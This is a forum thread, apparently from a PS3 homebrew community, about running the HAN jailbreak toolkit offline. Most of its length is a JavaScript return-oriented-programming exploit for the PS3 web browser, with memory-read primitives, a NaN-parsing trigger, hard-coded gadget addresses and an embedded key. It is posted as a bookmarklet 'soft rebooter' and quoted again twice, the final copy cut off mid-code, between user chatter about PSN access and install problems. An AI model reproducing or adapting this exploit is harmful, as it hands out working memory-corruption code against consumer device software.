PS3 [Tutorial] How to enable HAN offline

It does work but as mentioned above it loads the silk version of the web browser which has no javascript support, so it's useless unless someone finds a way to make it load the normal web browser.



It's definitely a problem on your end.
Can you still log in to PSN with the mod enabled on your ps3?
 
Are you sure?

i own a PSN game, and its working

تم الإرسال من D6503 باستخدام Tapatalk

It was happened on my superslim model, now I'm gonna double-check whether the offline HAN enabler should be work very perfect or not.

EDIT: Ok...check....it worked...
 
Last edited:
The mod is a bookmark for the browser, it cannot impact PSN connection in any way.
Yup, it was definitely SONY being SONY again. I tested again and PSN was working again.
Thanks to @lmn7 for releasing this mod. It helps quite a lot now that I can enable HAN offline and without a pc. It's even more helpful now that SONY released 4.83 update for ps3 and we don't know what that does to HAN. Definitely gonna stay offline for a while until a new exploit is released.
 
Yup, it was definitely SONY being SONY again. I tested again and PSN was working again.
Thanks to @lmn7 for releasing this mod. It helps quite a lot now that I can enable HAN offline and without a pc. It's even more helpful now that SONY released 4.83 update for ps3 and we don't know what that does to HAN. Definitely gonna stay offline for a while until a new exploit is released.
Do not confuse PSN & Internet.

You can still browse the Internet with the ps3 browser when you don't update the firmware.
What you cannot do however is connect to the PSN network to play online or access the shop.

Also FYI, you can use the local proxy method to connect to PSN using 4.82 fw!
 
Do not confuse PSN & Internet.

You can still browse the Internet with the ps3 browser when you don't update the firmware.
What you cannot do however is connect to the PSN network to play online or access the shop.

Also FYI, you can use the local proxy method to connect to PSN using 4.82 fw!
Wow, that's a relief. I mostly use PSN for watching youtube anyway but it's still nice to know that we HAN users still have options of signing in to PSN on 4.82.
 
Wow, that's a relief. I mostly use PSN for watching youtube anyway but it's still nice to know that we HAN users still have options of signing in to PSN on 4.82.
Since that's what you use your ps3 for, i have a YouTube pkg that doesn't require psn, and yes, works for HAN as well.
 
I tried to install both of the methods, but they did not work. The .pkg installed, but when i go to offline han options in my HAN toolbox nothing shows up. How can I remove and reinstall the mod? I also tried the bookmark version but that failed when I could not find a way to copy the bookmark.xml to the destination.

Gesendet von meinem ZTE A2017G mit Tapatalk
 
I think the test.zip in the xml replacer forums should be added for the initial setup. The alphabetizing and all from that is really a useful feature. Works great imho.as well as this offline mod.gj lmn7
 
I tried to install both of the methods, but they did not work. The .pkg installed, but when i go to offline han options in my HAN toolbox nothing shows up. How can I remove and reinstall the mod? I also tried the bookmark version but that failed when I could not find a way to copy the bookmark.xml to the destination.

Gesendet von meinem ZTE A2017G mit Tapatalk

Did you install HAN Toolbox before installing the mod? If you did everything correctly, the offline HAN functions will be in the main menu, not the offline sub-menu. It's a little confusing because I didn't have time to change the menu structure.

@lmn7 Im going to add your offline method to Toolbox 0.6, Thanks, its really great. Im wondering could you make an offline version of the soft reboot xploit too?

It would be cool to see it in the official app, thanks. AFAIK most of the 3.0 tools can be used offline with this method, maybe with the exception of the flash dumper.

Code:
javascript:var rbt='var xtra_data,stack_frame,jump_2,jump_1,xtra_data_addr,stack_frame_addr,jump_2_addr,jump_1_addr,debug=!1,ps3xploit_ecdsa_key="948DA13E8CAFD5BA0E90CE434461BB327FE7E080475EAA0AD3AD4F5B6247A7FDA86DF69790196773",index_key="DA7D4B5E499A4F53B1C1A14A7484443B",start_x="xxxx",offset_array=[],t_out=0,ps3xploit_ecdsa_key_addr=0,index_key_addr=0,search_max_threshold=73400320,search_base=2148532224,search_size=2*mbytes,search_base_off=0,search_size_ext=0,gtemp_addr=2365587456,total_loops=0,max_loops=20,frame_fails=0,sp_exit=2413354176,ffs=4294967295,dbyte41=16705,dbyte00=0,byte_size=1,hword_size=2,word_size=4,dword_size=8,mbytes=1048576,stat_size_offset=40,toc_addr=7296336,default_vsh_pub_toc=7263652,vsh_opd_patch=617820,vsh_opd_addr=7256936,vsh_ps3xploit_key_toc=7370612,toc_entry1_addr=7185360,toc_entry2_addr=7494200,toc_entry3_addr=7185352,toc_entry4_addr=7602176,toc_entry5_addr=7255744,toc_entry6_addr=0,gadget1_addr=620036,gadget2_addr=6332484,gadget3_addr=872540,gadget4_addr=2267192,gadget5_addr=1227548,gadget6_addr=6380604,gadget7_addr=131024,gadget8_addr=131072,gadget_mod1_addr=6352696,gadget_mod2_addr=80756,gadget_mod3_addr=757248,gadget_mod4a_addr=890500,gadget_mod7_addr=108204,gadget_mod8_addr=2862264,hr="\74hr\76",gadget12_addr=820812,sc_sm_shutdown=379,soft_reboot=512;function hexh2bin(e){return String.fromCharCode(e)}function hexw2bin(e){return String.fromCharCode(e\76\7616)+String.fromCharCode(e)}function hexdw2bin(e){return hexw2bin(0)+hexw2bin(e)}function fromIEEE754(e,t,r){var a,d,_,i=[];for(a=e.length;a;a-=1)for(_=e[a-1],d=8;d;d-=1)i.push(_%2?1:0),_\76\76=1;i.reverse();var s=i.join(""),n=(1\74\74t-1)-1,o=parseInt(s.substring(0,1),2)?-1:1,h=parseInt(s.substring(1,1+t),2),b=parseInt(s.substring(1+t),2);return(h===(1\74\74t)-1?0!==b?NaN:o*(1/0):h\760?o*Math.pow(2,h-n)*(1+b/Math.pow(2,r)):0!==b?o*Math.pow(2,-(n-1))*(b/Math.pow(2,r)):0*o).noExponents()}function generateIEEE754(e,t){return fromIEEE754(new Array(e\76\7624&255,e\76\7616&255,e\76\768&255,255&e,t\76\7624&255,t\76\7616&255,t\76\768&255,255&t),11,52)}function generateExploit(e,t){return generateIEEE754(e,(e\74\7432|(t\76\761)-1)-e)}function readMemory(e,t){document.getElementById("exploit")&&(document.getElementById("exploit").style.src="local("+generateExploit(e,t)+")")}function checkMemory(e,t,r){if(document.getElementById("exploit"))return readMemory(e,t),document.getElementById("exploit").style.src.substr(6,r)}function trigger(e){document.getElementById("trigger")&&(document.getElementById("trigger").innerHTML=-parseFloat("NAN(ffffe"+e.toString(16)+")"))}function rop_exit(e){var t=document.getElementById("auto_close");t&&!0===t.checked&&window.close()}function load_check(){total_loops\74max_loops?t_out=setTimeout(initROP,1e3,!1):(total_loops=0,t_out=0)}function findJsVariableOffset(e,t,r,a){readMemory(r,a);for(var d,_,i,s,n=document.getElementById("exploit").style.src.substr(6,a),o=0;o\742*n.length;){if(n.charCodeAt(o/2)===t.charCodeAt(0)){for(i=0,_=0;_\742*t.length&&n.charCodeAt((o+_)/2)===t.charCodeAt(_/2);_+=2)i+=1;if(i===t.length){for(s=r+o+4,d=0;d\74offset_array.length;d+=1)if(offset_array[d]===s)return-1;return offset_array.push(s),s}}o+=16}return 0}function memcpy(e,t,r){return callsub(gadget8_addr,e,t,r,0,0,0,0,0,0,112)}function store_word(e,t,r,a,d){return null===r&&(r=gtemp_addr),null===a&&(a=gtemp_addr),null===d&&(d=gtemp_addr),hexdw2bin(gadget_mod3_addr)+fill_by_16bytes(96,dbyte41)+hexdw2bin(t)+fill_by_8bytes(8,dbyte41)+hexdw2bin(e-3188)+fill_by_16bytes(16,dbyte41)+hexdw2bin(gadget_mod7_addr)+fill_by_16bytes(112,dbyte41)+hexdw2bin(r)+hexdw2bin(a)+hexdw2bin(d)+hexdw2bin(sp_exit)+fill_by_8bytes(8,dbyte41)}function stack_frame_hookup(){return unescape("??")+hexw2bin(gadget1_addr)+hexw2bin(toc_addr)+fill_by_16bytes(32,dbyte41)+hexdw2bin(toc_addr)+fill_by_16bytes(112,dbyte41)}function stack_frame_exit(){return hexdw2bin(gadget_mod8_addr)+unescape("?")}function syscall(e,t,r,a,d,_,i,s,n,o){return null===o&&(o=gtemp_addr),hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(96,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(16,dbyte41)+hexdw2bin(gadget_mod1_addr)+fill_by_16bytes(80,dbyte41)+fill_by_4bytes(12,dbyte41)+hexw2bin(e)+hexw2bin(n)+hexw2bin(i)+hexw2bin(_)+hexw2bin(d)+hexw2bin(a)+hexw2bin(r)+fill_by_4bytes(4,dbyte41)+hexw2bin(s)+fill_by_16bytes(32,dbyte41)+hexdw2bin(t)+fill_by_16bytes(16,dbyte41)+hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(96,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(16,dbyte41)+hexdw2bin(gadget_mod4a_addr)+fill_by_16bytes(96,dbyte41)+hexdw2bin(o)+hexdw2bin(sp_exit)+fill_by_8bytes(8,dbyte41)}function callsub(e,t,r,a,d,_,i,s,n,o,h,b,l){return null===l&&(l=gtemp_addr),null===b&&(b=gtemp_addr),hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(96,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(16,dbyte41)+hexdw2bin(gadget_mod1_addr)+fill_by_16bytes(80,dbyte41)+fill_by_4bytes(12,dbyte41)+hexw2bin(o)+hexw2bin(n)+hexw2bin(i)+hexw2bin(_)+hexw2bin(d)+hexw2bin(a)+hexw2bin(r)+fill_by_4bytes(4,dbyte41)+hexw2bin(s)+fill_by_16bytes(32,dbyte41)+hexdw2bin(t)+fill_by_16bytes(16,dbyte41)+hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(96,dbyte41)+hexdw2bin(b)+fill_by_16bytes(16,dbyte41)+hexdw2bin(e)+fill_by_16bytes(h-32,dbyte00)+hexdw2bin(l)+hexdw2bin(sp_exit)+fill_by_8bytes(8,dbyte41)}function fill_by_4bytes(e,t){for(var r="",a=0,d=hexh2bin(t);a\74e/4;)r+=d.repeat(2),a++;return r}function fill_by_8bytes(e,t){for(var r="",a=0,d=hexh2bin(t);a\74e/8;)r+=d.repeat(4),a++;return r}function fill_by_16bytes(e,t){for(var r="",a=0,d=hexh2bin(t);a\74e/16;)r+=d.repeat(8),a++;return r}function initDefaults(){offset_array=[],xtra_data_addr=0,stack_frame_addr=0,jump_2_addr=0,jump_1_addr=0,ps3xploit_ecdsa_key_addr=0,index_key_addr=0,search_max_threshold=73400320,search_base=2148532224,search_size=2*mbytes,search_size_ext=0*mbytes,search_base_off=0*mbytes,total_loops++}function initROP(e){try{for(!0===e&&(frame_fails=0,search_base_off=0,search_size_ext=0),0!==t_out&&(clearTimeout(t_out),t_out=0),initDefaults(),xtra_data=start_x.convert()+unescape("?");0===xtra_data_addr;){if(search_max_threshold\74search_size)return void load_check();xtra_data=xtra_data.replaceAt(0,hexh2bin(32509)),xtra_data_addr=findJsVariableOffset("xtra_data",xtra_data,search_base,search_size),search_max_threshold-=search_size}for(stack_frame=stack_frame_hookup()+callsub(gadget12_addr,2,0,0,0,0,0,0,0,0,128)+syscall(sc_sm_shutdown,soft_reboot,0,0,0,0,0,0,0)+stack_frame_exit();0===stack_frame_addr;){if(search_max_threshold\74search_size+search_size_ext)return++frame_fails%10==0&&(search_base_off+=0,search_size_ext+=0),void load_check();if(stack_frame=stack_frame.replaceAt(0,hexh2bin(10799)),-1==(stack_frame_addr=findJsVariableOffset("stack_frame",stack_frame,search_base+search_base_off,search_size+search_size_ext))&&search_max_threshold\74search_size+search_size_ext)return frame_fails++,void load_check();search_max_threshold-=search_size+search_size_ext}for(jump_2=unescape("A?")+fill_by_16bytes(48,33410)+hexw2bin(stack_frame_addr)+unescape("?");0===jump_2_addr;){if(search_max_threshold\74search_size)return void load_check();if(jump_2=jump_2.replaceAt(0,hexh2bin(32507)),-1==(jump_2_addr=findJsVariableOffset("jump_2",jump_2,search_base,search_size))&&search_max_threshold\74search_size)return void load_check();search_max_threshold-=search_size}for(jump_1=unescape("??")+hexw2bin(jump_2_addr)+unescape("?");0===jump_1_addr;){if(search_max_threshold\74search_size)return void load_check();if(jump_1=jump_1.replaceAt(0,hexh2bin(32506)),-1==(jump_1_addr=findJsVariableOffset("jump_1",jump_1,search_base,search_size))&&search_max_threshold\74search_size)return void load_check();search_max_threshold-=search_size}var t=checkMemory(stack_frame_addr-4,32768,stack_frame.length),r=checkMemory(xtra_data_addr-4,4096,xtra_data.length),a=checkMemory(jump_2_addr-4,4096,jump_2.length),d=checkMemory(jump_1_addr-4,4096,jump_1.length);a===jump_2&&d===jump_1&&r===xtra_data&&t===stack_frame?(0!==t_out&&clearTimeout(t_out),triggerX()):load_check()}catch(e){debug=!0,debug=!1}}function triggerX(){setTimeout(trigger,1e3,jump_1_addr),setTimeout(rop_exit,2e3,hr),setTimeout(window.close,2e3),t_out=0,total_loops=0}document.write(\47\74html\76\74head\76\74title\76PS3Xploit - Offline Soft Rebooter by lmn7\74/title\76\74/head\76\74body id="bodyId" style="background-color:#FFFFFF"\76\74div id="headerId"\76\74h1\76Rebooting...\74/h1\76\74span id="hideme" style="visibility:hidden"\76\74p\76\74button id="btnROP" type="button" onclick="initROP(true);" autofocus\76Initialize\74/button\76 | Close \74input type="checkbox" id="auto_close" name="aclose" checked="checked" onclick="autoclose();"/\76\74span id="dex_txt" style="visibility:hidden"\76\74input type="checkbox" id="dex" name="DEX" disabled="" onclick="dex();"/\76\74/span\76\74/p\76\74p\76\74button id="btnTrigger" disabled="" type="button" onclick="triggerX();"\76En\74/button\76\74span id="reset" style="visibility:hidden"\76 | \74button id="btnReset" type="button" onclick="disable_trigger();"\76Reset\74/button\76\74/span\76\74/p\76\74/span\76\74div id="exploit" \76\74/div\76\74div id="trigger"\76\74/div\76\74/body\76\74/html\76\47),String.prototype.toHex16=function(){return("0000"+this).substr(-4)},String.prototype.toAscii=function(e){for(var t="",r=0;r\74this.length;)t+=!0===e?this.charCodeAt(r).toString(16).toHex16():this.charCodeAt(r).toString(16),r+=1;return t},String.prototype.convert=function(e){if(this.length\741)return"";var t="",r="",a=0,d=[];for(t=!0===e?this:this.toAscii();t.length%4!=0;)t+="00";for("00"!==t.substr(t.length-3,2)&&(t+="0000");a\74t.length;)r=t.substr(a,4),d.push(String.fromCharCode(parseInt(r,16))),a+=4;return d.join("")},String.prototype.convertedSize=function(e){if(this.length\741)return 0;var t="";for(t=!0===e?this:this.toAscii();t.length%4!=0;)t+="00";return"00"!==t.substr(t.length-3,2)&&(t+="0000"),t.length/2},String.prototype.replaceAt=function(e,t){return this.substr(0,e)+t+this.substr(e+t.length)},String.prototype.repeat=function(e){return new Array(e+1).join(this)},Number.prototype.noExponents=function(){var e=String(this).split(/[eE]/);if(1===e.length)return e[0];var t="",r=this\740?"-":"",a=e[0].replace(".",""),d=Number(e[1])+1;if(d\740){for(t=r+"0.";d++;)t+="0";return t+a.replace(/^\-/,"")}for(d-=a.length;d--;)t+="0";return a+t},initROP(!0);';eval(rbt);

Set that script as the module_action string and it will work.
 
Last edited:
It would be cool to see it in the official app, thanks. AFAIK most of the 3.0 tools can be used offline with this method, maybe with the exception of the flash dumper.

Code:
javascript:var rbt='var xtra_data,stack_frame,jump_2,jump_1,xtra_data_addr,stack_frame_addr,jump_2_addr,jump_1_addr,debug=!1,ps3xploit_ecdsa_key="948DA13E8CAFD5BA0E90CE434461BB327FE7E080475EAA0AD3AD4F5B6247A7FDA86DF69790196773",index_key="DA7D4B5E499A4F53B1C1A14A7484443B",start_x="xxxx",offset_array=[],t_out=0,ps3xploit_ecdsa_key_addr=0,index_key_addr=0,search_max_threshold=73400320,search_base=2148532224,search_size=2*mbytes,search_base_off=0,search_size_ext=0,gtemp_addr=2365587456,total_loops=0,max_loops=20,frame_fails=0,sp_exit=2413354176,ffs=4294967295,dbyte41=16705,dbyte00=0,byte_size=1,hword_size=2,word_size=4,dword_size=8,mbytes=1048576,stat_size_offset=40,toc_addr=7296336,default_vsh_pub_toc=7263652,vsh_opd_patch=617820,vsh_opd_addr=7256936,vsh_ps3xploit_key_toc=7370612,toc_entry1_addr=7185360,toc_entry2_addr=7494200,toc_entry3_addr=7185352,toc_entry4_addr=7602176,toc_entry5_addr=7255744,toc_entry6_addr=0,gadget1_addr=620036,gadget2_addr=6332484,gadget3_addr=872540,gadget4_addr=2267192,gadget5_addr=1227548,gadget6_addr=6380604,gadget7_addr=131024,gadget8_addr=131072,gadget_mod1_addr=6352696,gadget_mod2_addr=80756,gadget_mod3_addr=757248,gadget_mod4a_addr=890500,gadget_mod7_addr=108204,gadget_mod8_addr=2862264,hr="\74hr\76",gadget12_addr_482=820812,sc_sm_shutdown=379,soft_reboot=512;function hexh2bin(e){return String.fromCharCode(e)}function hexw2bin(e){return String.fromCharCode(e\76\7616)+String.fromCharCode(e)}function hexdw2bin(e){return hexw2bin(0)+hexw2bin(e)}function fromIEEE754(e,t,r){var a,d,_,i=[];for(a=e.length;a;a-=1)for(_=e[a-1],d=8;d;d-=1)i.push(_%2?1:0),_\76\76=1;i.reverse();var s=i.join(""),n=(1\74\74t-1)-1,o=parseInt(s.substring(0,1),2)?-1:1,h=parseInt(s.substring(1,1+t),2),b=parseInt(s.substring(1+t),2);return(h===(1\74\74t)-1?0!==b?NaN:o*(1/0):h\760?o*Math.pow(2,h-n)*(1+b/Math.pow(2,r)):0!==b?o*Math.pow(2,-(n-1))*(b/Math.pow(2,r)):0*o).noExponents()}function generateIEEE754(e,t){return fromIEEE754(new Array(e\76\7624&255,e\76\7616&255,e\76\768&255,255&e,t\76\7624&255,t\76\7616&255,t\76\768&255,255&t),11,52)}function generateExploit(e,t){return generateIEEE754(e,(e\74\7432|(t\76\761)-1)-e)}function readMemory(e,t){document.getElementById("exploit")&&(document.getElementById("exploit").style.src="local("+generateExploit(e,t)+")")}function checkMemory(e,t,r){if(document.getElementById("exploit"))return readMemory(e,t),document.getElementById("exploit").style.src.substr(6,r)}function trigger(e){document.getElementById("trigger")&&(document.getElementById("trigger").innerHTML=-parseFloat("NAN(ffffe"+e.toString(16)+")"))}function rop_exit(e){var t=document.getElementById("auto_close");t&&!0===t.checked&&window.close()}function load_check(){total_loops\74max_loops?t_out=setTimeout(initROP,1e3,!1):(total_loops=0,t_out=0)}function findJsVariableOffset(e,t,r,a){readMemory(r,a);for(var d,_,i,s,n=document.getElementById("exploit").style.src.substr(6,a),o=0;o\742*n.length;){if(n.charCodeAt(o/2)===t.charCodeAt(0)){for(i=0,_=0;_\742*t.length&&n.charCodeAt((o+_)/2)===t.charCodeAt(_/2);_+=2)i+=1;if(i===t.length){for(s=r+o+4,d=0;d\74offset_array.length;d+=1)if(offset_array[d]===s)return-1;return offset_array.push(s),s}}o+=16}return 0}function memcpy(e,t,r){return callsub(gadget8_addr,e,t,r,0,0,0,0,0,0,112)}function store_word(e,t,r,a,d){return null===r&&(r=gtemp_addr),null===a&&(a=gtemp_addr),null===d&&(d=gtemp_addr),hexdw2bin(gadget_mod3_addr)+fill_by_16bytes(96,dbyte41)+hexdw2bin(t)+fill_by_8bytes(8,dbyte41)+hexdw2bin(e-3188)+fill_by_16bytes(16,dbyte41)+hexdw2bin(gadget_mod7_addr)+fill_by_16bytes(112,dbyte41)+hexdw2bin(r)+hexdw2bin(a)+hexdw2bin(d)+hexdw2bin(sp_exit)+fill_by_8bytes(8,dbyte41)}function stack_frame_hookup(){return unescape("??")+hexw2bin(gadget1_addr)+hexw2bin(toc_addr)+fill_by_16bytes(32,dbyte41)+hexdw2bin(toc_addr)+fill_by_16bytes(112,dbyte41)}function stack_frame_exit(){return hexdw2bin(gadget_mod8_addr)+unescape("?")}function syscall(e,t,r,a,d,_,i,s,n,o){return null===o&&(o=gtemp_addr),hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(96,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(16,dbyte41)+hexdw2bin(gadget_mod1_addr)+fill_by_16bytes(80,dbyte41)+fill_by_4bytes(12,dbyte41)+hexw2bin(e)+hexw2bin(n)+hexw2bin(i)+hexw2bin(_)+hexw2bin(d)+hexw2bin(a)+hexw2bin(r)+fill_by_4bytes(4,dbyte41)+hexw2bin(s)+fill_by_16bytes(32,dbyte41)+hexdw2bin(t)+fill_by_16bytes(16,dbyte41)+hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(96,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(16,dbyte41)+hexdw2bin(gadget_mod4a_addr)+fill_by_16bytes(96,dbyte41)+hexdw2bin(o)+hexdw2bin(sp_exit)+fill_by_8bytes(8,dbyte41)}function callsub(e,t,r,a,d,_,i,s,n,o,h,b,l){return null===l&&(l=gtemp_addr),null===b&&(b=gtemp_addr),hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(96,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(16,dbyte41)+hexdw2bin(gadget_mod1_addr)+fill_by_16bytes(80,dbyte41)+fill_by_4bytes(12,dbyte41)+hexw2bin(o)+hexw2bin(n)+hexw2bin(i)+hexw2bin(_)+hexw2bin(d)+hexw2bin(a)+hexw2bin(r)+fill_by_4bytes(4,dbyte41)+hexw2bin(s)+fill_by_16bytes(32,dbyte41)+hexdw2bin(t)+fill_by_16bytes(16,dbyte41)+hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(96,dbyte41)+hexdw2bin(b)+fill_by_16bytes(16,dbyte41)+hexdw2bin(e)+fill_by_16bytes(h-32,dbyte00)+hexdw2bin(l)+hexdw2bin(sp_exit)+fill_by_8bytes(8,dbyte41)}function fill_by_4bytes(e,t){for(var r="",a=0,d=hexh2bin(t);a\74e/4;)r+=d.repeat(2),a++;return r}function fill_by_8bytes(e,t){for(var r="",a=0,d=hexh2bin(t);a\74e/8;)r+=d.repeat(4),a++;return r}function fill_by_16bytes(e,t){for(var r="",a=0,d=hexh2bin(t);a\74e/16;)r+=d.repeat(8),a++;return r}function initDefaults(){offset_array=[],xtra_data_addr=0,stack_frame_addr=0,jump_2_addr=0,jump_1_addr=0,ps3xploit_ecdsa_key_addr=0,index_key_addr=0,search_max_threshold=73400320,search_base=2148532224,search_size=2*mbytes,search_size_ext=0*mbytes,search_base_off=0*mbytes,total_loops++}function initROP(e){try{for(!0===e&&(frame_fails=0,search_base_off=0,search_size_ext=0),0!==t_out&&(clearTimeout(t_out),t_out=0),initDefaults(),xtra_data=start_x.convert()+unescape("?");0===xtra_data_addr;){if(search_max_threshold\74search_size)return void load_check();xtra_data=xtra_data.replaceAt(0,hexh2bin(32509)),xtra_data_addr=findJsVariableOffset("xtra_data",xtra_data,search_base,search_size),search_max_threshold-=search_size}for(stack_frame=stack_frame_hookup()+callsub(gadget12_addr,2,0,0,0,0,0,0,0,0,128)+syscall(sc_sm_shutdown,soft_reboot,0,0,0,0,0,0,0)+stack_frame_exit();0===stack_frame_addr;){if(search_max_threshold\74search_size+search_size_ext)return++frame_fails%10==0&&(search_base_off+=0,search_size_ext+=0),void load_check();if(stack_frame=stack_frame.replaceAt(0,hexh2bin(10799)),-1==(stack_frame_addr=findJsVariableOffset("stack_frame",stack_frame,search_base+search_base_off,search_size+search_size_ext))&&search_max_threshold\74search_size+search_size_ext)return frame_fails++,void load_check();search_max_threshold-=search_size+search_size_ext}for(jump_2=unescape("A?")+fill_by_16bytes(48,33410)+hexw2bin(stack_frame_addr)+unescape("?");0===jump_2_addr;){if(search_max_threshold\74search_size)return void load_check();if(jump_2=jump_2.replaceAt(0,hexh2bin(32507)),-1==(jump_2_addr=findJsVariableOffset("jump_2",jump_2,search_base,search_size))&&search_max_threshold\74search_size)return void load_check();search_max_threshold-=search_size}for(jump_1=unescape("??")+hexw2bin(jump_2_addr)+unescape("?");0===jump_1_addr;){if(search_max_threshold\74search_size)return void load_check();if(jump_1=jump_1.replaceAt(0,hexh2bin(32506)),-1==(jump_1_addr=findJsVariableOffset("jump_1",jump_1,search_base,search_size))&&search_max_threshold\74search_size)return void load_check();search_max_threshold-=search_size}var t=checkMemory(stack_frame_addr-4,32768,stack_frame.length),r=checkMemory(xtra_data_addr-4,4096,xtra_data.length),a=checkMemory(jump_2_addr-4,4096,jump_2.length),d=checkMemory(jump_1_addr-4,4096,jump_1.length);a===jump_2&&d===jump_1&&r===xtra_data&&t===stack_frame?(0!==t_out&&clearTimeout(t_out),triggerX()):load_check()}catch(e){debug=!0,debug=!1}}function triggerX(){setTimeout(trigger,1e3,jump_1_addr),setTimeout(rop_exit,2e3,hr),setTimeout(window.close,2e3),t_out=0,total_loops=0}document.write(\47\74html\76\74head\76\74title\76PS3Xploit - Offline Soft Rebooter by lmn7\74/title\76\74/head\76\74body id="bodyId" style="background-color:#FFFFFF"\76\74div id="headerId"\76\74h1\76Rebooting...\74/h1\76\74span id="hideme" style="visibility:hidden"\76\74p\76\74button id="btnROP" type="button" onclick="initROP(true);" autofocus\76Initialize\74/button\76 | Close \74input type="checkbox" id="auto_close" name="aclose" checked="checked" onclick="autoclose();"/\76\74span id="dex_txt" style="visibility:hidden"\76\74input type="checkbox" id="dex" name="DEX" disabled="" onclick="dex();"/\76\74/span\76\74/p\76\74p\76\74button id="btnTrigger" disabled="" type="button" onclick="triggerX();"\76En\74/button\76\74span id="reset" style="visibility:hidden"\76 | \74button id="btnReset" type="button" onclick="disable_trigger();"\76Reset\74/button\76\74/span\76\74/p\76\74/span\76\74div id="exploit" \76\74/div\76\74div id="trigger"\76\74/div\76\74/body\76\74/html\76\47),String.prototype.toHex16=function(){return("0000"+this).substr(-4)},String.prototype.toAscii=function(e){for(var t="",r=0;r\74this.length;)t+=!0===e?this.charCodeAt(r).toString(16).toHex16():this.charCodeAt(r).toString(16),r+=1;return t},String.prototype.convert=function(e){if(this.length\741)return"";var t="",r="",a=0,d=[];for(t=!0===e?this:this.toAscii();t.length%4!=0;)t+="00";for("00"!==t.substr(t.length-3,2)&&(t+="0000");a\74t.length;)r=t.substr(a,4),d.push(String.fromCharCode(parseInt(r,16))),a+=4;return d.join("")},String.prototype.convertedSize=function(e){if(this.length\741)return 0;var t="";for(t=!0===e?this:this.toAscii();t.length%4!=0;)t+="00";return"00"!==t.substr(t.length-3,2)&&(t+="0000"),t.length/2},String.prototype.replaceAt=function(e,t){return this.substr(0,e)+t+this.substr(e+t.length)},String.prototype.repeat=function(e){return new Array(e+1).join(this)},Number.prototype.noExponents=function(){var e=String(this).split(/[eE]/);if(1===e.length)return e[0];var t="",r=this\740?"-":"",a=e[0].replace(".",""),d=Number(e[1])+1;if(d\740){for(t=r+"0.";d++;)t+="0";return t+a.replace(/^\-/,"")}for(d-=a.length;d--;)t+="0";return a+t},initROP(!0);';eval(rbt);

Set that script as the module_action string and it should work, I didn't have time to test it though.

Unfortunately, it doesnt work. PS3 Browser is endless working at "Rebooting..." message screen - I can exit the broswer fine tho.
 
Did you install HAN Toolbox before installing the mod? If you did everything correctly, the offline HAN functions will be in the main menu, not the offline sub-menu. It's a little confusing because I didn't have time to change the menu structure.



It would be cool to see it in the official app, thanks. AFAIK most of the 3.0 tools can be used offline with this method, maybe with the exception of the flash dumper.

Code:
javascript:var rbt='var xtra_data,stack_frame,jump_2,jump_1,xtra_data_addr,stack_frame_addr,jump_2_addr,jump_1_addr,debug=!1,ps3xploit_ecdsa_key="948DA13E8CAFD5BA0E90CE434461BB327FE7E080475EAA0AD3AD4F5B6247A7FDA86DF69790196773",index_key="DA7D4B5E499A4F53B1C1A14A7484443B",start_x="xxxx",offset_array=[],t_out=0,ps3xploit_ecdsa_key_addr=0,index_key_addr=0,search_max_threshold=73400320,search_base=2148532224,search_size=2*mbytes,search_base_off=0,search_size_ext=0,gtemp_addr=2365587456,total_loops=0,max_loops=20,frame_fails=0,sp_exit=2413354176,ffs=4294967295,dbyte41=16705,dbyte00=0,byte_size=1,hword_size=2,word_size=4,dword_size=8,mbytes=1048576,stat_size_offset=40,toc_addr=7296336,default_vsh_pub_toc=7263652,vsh_opd_patch=617820,vsh_opd_addr=7256936,vsh_ps3xploit_key_toc=7370612,toc_entry1_addr=7185360,toc_entry2_addr=7494200,toc_entry3_addr=7185352,toc_entry4_addr=7602176,toc_entry5_addr=7255744,toc_entry6_addr=0,gadget1_addr=620036,gadget2_addr=6332484,gadget3_addr=872540,gadget4_addr=2267192,gadget5_addr=1227548,gadget6_addr=6380604,gadget7_addr=131024,gadget8_addr=131072,gadget_mod1_addr=6352696,gadget_mod2_addr=80756,gadget_mod3_addr=757248,gadget_mod4a_addr=890500,gadget_mod7_addr=108204,gadget_mod8_addr=2862264,hr="\74hr\76",gadget12_addr=820812,sc_sm_shutdown=379,soft_reboot=512;function hexh2bin(e){return String.fromCharCode(e)}function hexw2bin(e){return String.fromCharCode(e\76\7616)+String.fromCharCode(e)}function hexdw2bin(e){return hexw2bin(0)+hexw2bin(e)}function fromIEEE754(e,t,r){var a,d,_,i=[];for(a=e.length;a;a-=1)for(_=e[a-1],d=8;d;d-=1)i.push(_%2?1:0),_\76\76=1;i.reverse();var s=i.join(""),n=(1\74\74t-1)-1,o=parseInt(s.substring(0,1),2)?-1:1,h=parseInt(s.substring(1,1+t),2),b=parseInt(s.substring(1+t),2);return(h===(1\74\74t)-1?0!==b?NaN:o*(1/0):h\760?o*Math.pow(2,h-n)*(1+b/Math.pow(2,r)):0!==b?o*Math.pow(2,-(n-1))*(b/Math.pow(2,r)):0*o).noExponents()}function generateIEEE754(e,t){return fromIEEE754(new Array(e\76\7624&255,e\76\7616&255,e\76\768&255,255&e,t\76\7624&255,t\76\7616&255,t\76\768&255,255&t),11,52)}function generateExploit(e,t){return generateIEEE754(e,(e\74\7432|(t\76\761)-1)-e)}function readMemory(e,t){document.getElementById("exploit")&&(document.getElementById("exploit").style.src="local("+generateExploit(e,t)+")")}function checkMemory(e,t,r){if(document.getElementById("exploit"))return readMemory(e,t),document.getElementById("exploit").style.src.substr(6,r)}function trigger(e){document.getElementById("trigger")&&(document.getElementById("trigger").innerHTML=-parseFloat("NAN(ffffe"+e.toString(16)+")"))}function rop_exit(e){var t=document.getElementById("auto_close");t&&!0===t.checked&&window.close()}function load_check(){total_loops\74max_loops?t_out=setTimeout(initROP,1e3,!1):(total_loops=0,t_out=0)}function findJsVariableOffset(e,t,r,a){readMemory(r,a);for(var 